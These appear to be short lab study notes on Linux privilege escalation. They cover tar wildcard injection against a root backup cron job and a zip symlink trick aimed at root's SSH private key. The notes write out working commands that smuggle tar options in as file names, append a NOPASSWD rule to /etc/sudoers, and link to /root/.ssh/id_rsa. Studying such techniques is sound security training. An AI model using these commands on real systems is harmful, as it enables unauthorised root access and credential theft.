Wildcard Abuse

• some characters can be used as a replacement for other characters and the shell will interpret those as valid.
• EXAMPLE

TAR file attacks

• tar command that creates/extracts archives
  • it takes a command line arg in --checkpoint-action=arg
• Scenario
  • We have a cron job that backs up the home folder every minute
  • 
    • * will be replaced by all the file names in the folder
  • we can use it to write commands as file names. when the cronjob runs, these filenames will be interpreted & executed as commands

    echo 'echo "htb-student ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
    echo "" > "--checkpoint-action=exec=sh root.sh"
    echo "" > --checkpoint=1
    

---

ZIP file attack - symlink

# Create malicious zip with symlink to root file
ln -s /root/.ssh/id_rsa rootkey
zip --symlinks exploit.zip rootkey

# When extracted by root process, reads /root/.ssh/id_rsa